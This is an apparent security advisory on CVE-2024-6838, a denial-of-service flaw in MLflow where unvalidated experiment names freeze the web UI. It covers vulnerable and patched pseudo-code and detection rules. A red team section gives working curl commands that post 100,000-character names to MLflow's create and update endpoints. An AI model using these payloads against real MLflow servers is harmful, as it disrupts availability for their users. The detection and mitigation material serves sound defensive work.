CVE-2024-6838

Executive Summary

CVE-2024-6838 is a denial-of-service (DoS) vulnerability affecting MLflow version v2.13.2. The flaw resides in the experiment creation and renaming functionality, where no limit is enforced on the length or content of the experiment name. An attacker can create or rename an experiment with an excessively long name composed of many integers, causing the MLflow UI panel to become unresponsive. Additionally, the artifact_location parameter lacks a character limit, further enabling resource exhaustion. This vulnerability has a CVSS score of 5.3 (Medium) and an EPSS score of 0.0%, indicating low exploitation likelihood at this time. No public proof-of-concept or patch is currently available.

Supply Chain & Package Security

MLflow is a popular open-source platform for managing the machine learning lifecycle, distributed via PyPI. This vulnerability affects the MLflow web UI component, which is often deployed in internal or cloud environments. Organizations using MLflow should assess their exposure, particularly if the UI is exposed to untrusted users or networks. The lack of input validation on experiment names and artifact locations can lead to resource exhaustion, impacting availability.

CVSS Breakdown & Threat Level

• CVSS Score: 5.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: Required (UI:R) – the victim must access the crafted experiment in the UI
• Scope: Unchanged (S:U)
• Confidentiality Impact: None (C:N)
• Integrity Impact: None (I:N)
• Availability Impact: Low (A:L) – UI unresponsiveness

Threat Level: Medium. The vulnerability requires user interaction (clicking on the experiment) and only affects availability. However, in environments where the MLflow UI is a critical operational tool, this could disrupt workflows.

Deep Dive & Mechanics

The vulnerability exists in the experiment creation and renaming endpoints of the MLflow REST API. When a user creates or renames an experiment, the name parameter is not validated for length or character composition. Similarly, the artifact_location parameter lacks a character limit.

Root Cause: The absence of input validation on the name and artifact_location fields allows an attacker to submit a string containing a large number of integers (e.g., "1234567890..." repeated thousands of times). When the MLflow UI attempts to render this experiment name in the experiments list or dashboard, the browser's rendering engine becomes overwhelmed, causing the UI to freeze or become unresponsive.

Attack Flow:

1. Attacker sends a POST request to /api/2.0/mlflow/experiments/create with a payload like:

   {
     "name": "1234567890" * 10000,
     "artifact_location": "/tmp/artifacts"
   }
   

2. The server accepts the request and stores the experiment with the long name.
3. A legitimate user navigates to the MLflow UI and the experiments list loads.
4. The browser attempts to render the long experiment name, consuming excessive CPU/memory resources.
5. The UI becomes unresponsive, potentially affecting other experiments and functionality.

Technical Details:

• The vulnerability is in the server-side API, but the impact is client-side (UI).
• The artifact_location parameter, if rendered in the UI, could also cause similar issues.
• No authentication is required to create experiments if the MLflow server is configured to allow anonymous access (default in some deployments).

Vulnerable vs. Patched Code

Vulnerable Code (v2.13.2): The experiment creation endpoint likely does not validate the length of the name parameter. Example (pseudo-code):

@api.route('/experiments/create', methods=['POST'])
def create_experiment():
    data = request.get_json()
    name = data.get('name')
    # No length or character validation
    experiment = Experiment(name=name)
    db.session.add(experiment)
    db.session.commit()
    return jsonify(experiment.to_dict())

Patched Code (Hypothetical): A patch would add input validation to limit the length and allowed characters of the experiment name and artifact location:

@api.route('/experiments/create', methods=['POST'])
def create_experiment():
    data = request.get_json()
    name = data.get('name')
    if len(name) > 255:  # Example limit
        return jsonify({'error': 'Experiment name too long'}), 400
    if not name.isprintable():
        return jsonify({'error': 'Invalid characters in name'}), 400
    experiment = Experiment(name=name)
    db.session.add(experiment)
    db.session.commit()
    return jsonify(experiment.to_dict())

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to an MLflow server (e.g., http://target:5000)
• Ability to send HTTP POST requests

Exploitation Steps:

1. Identify the MLflow API endpoint: POST /api/2.0/mlflow/experiments/create
2. Craft a payload with a long experiment name:

   curl -X POST http://target:5000/api/2.0/mlflow/experiments/create \
     -H "Content-Type: application/json" \
     -d '{"name": "'$(python3 -c "print('1'*100000)")'", "artifact_location": "/tmp/test"}'
   

3. Alternatively, rename an existing experiment using POST /api/2.0/mlflow/experiments/update:

   curl -X POST http://target:5000/api/2.0/mlflow/experiments/update \
     -H "Content-Type: application/json" \
     -d '{"experiment_id": "1", "new_name": "'$(python3 -c "print('2'*100000)")'"}'
   

4. A victim accessing the MLflow UI will experience unresponsiveness.

Note: No public exploit code is available. The above is a conceptual demonstration.

Blue Team

Detection:

• Monitor API logs for experiment creation/rename requests with unusually long name or artifact_location parameters.
• Set up alerts for requests where the name field exceeds a threshold (e.g., 1000 characters).

Mitigation:

• Restrict network access to the MLflow UI (e.g., VPN, firewall rules).
• Implement a reverse proxy (e.g., Nginx) to limit request body size:

  client_max_body_size 1k;
  

• Add input validation at the application level (if possible) or use a Web Application Firewall (WAF) to block requests with excessively long parameters.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP POST requests to /api/2.0/mlflow/experiments/create or /api/2.0/mlflow/experiments/update with name parameter exceeding 1000 characters.
  • Requests containing long strings of repeated integers in the name field.

• Log IOCs:

  • Server logs showing experiment names with excessive length (e.g., > 1000 characters).
  • Browser console errors related to rendering large strings.

• File IOCs:

  • Experiment metadata files in the MLflow artifact store containing abnormally long names.

Detection Engineering

YARA Rule

rule CVE_2024_6838_MLflow_Experiment_Name_DoS {
    meta:
        description = "Detects MLflow experiment names with excessive length indicating CVE-2024-6838 exploitation"
        author = "Valters IT"
        date = "2025-04-08"
        reference = "CVE-2024-6838"
    strings:
        $long_name = /"name"\s*:\s*"[0-9]{1000,}/
        $long_artifact = /"artifact_location"\s*:\s*".{1000,}/
    condition:
        any of them
}

Sigma Rule

title: MLflow Experiment Name DoS Attempt
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects attempts to exploit CVE-2024-6838 by creating experiments with excessively long names
author: Valters IT
date: 2025-04-08
logsource:
    category: webserver
    product: mlflow
detection:
    selection:
        http.method: 'POST'
        http.url: '/api/2.0/mlflow/experiments/create'
        http.body|contains: '"name"'
    condition: selection and (len(http.body) > 1000)
falsepositives:
    - Legitimate use of long experiment names (unlikely)
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-6838 MLflow Experiment Name DoS Attempt"; flow:to_server; http.method; content:"POST"; http.uri; content:"/api/2.0/mlflow/experiments/create"; http.request_body; content:"\"name\""; pcre:"/\"name\"\s*:\s*\"[0-9]{1000,}/"; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Restrict Access: Limit network access to the MLflow UI to trusted users only (e.g., via VPN or IP whitelisting).
2. Rate Limiting: Implement rate limiting on experiment creation/rename endpoints to prevent abuse.
3. Input Validation: If possible, apply a hotfix to validate experiment name length (e.g., max 255 characters) and reject requests exceeding this limit.

Long-Term Fix:

• Apply an official patch from the MLflow project once available.
• Upgrade to a patched version of MLflow (check for future releases).
• Consider using a reverse proxy (e.g., Nginx) with request body size limits as a defense-in-depth measure.

Workarounds:

• Disable anonymous experiment creation by configuring authentication (e.g., basic auth or OAuth).
• Monitor logs for anomalous experiment names and set up automated blocking.

Valters IT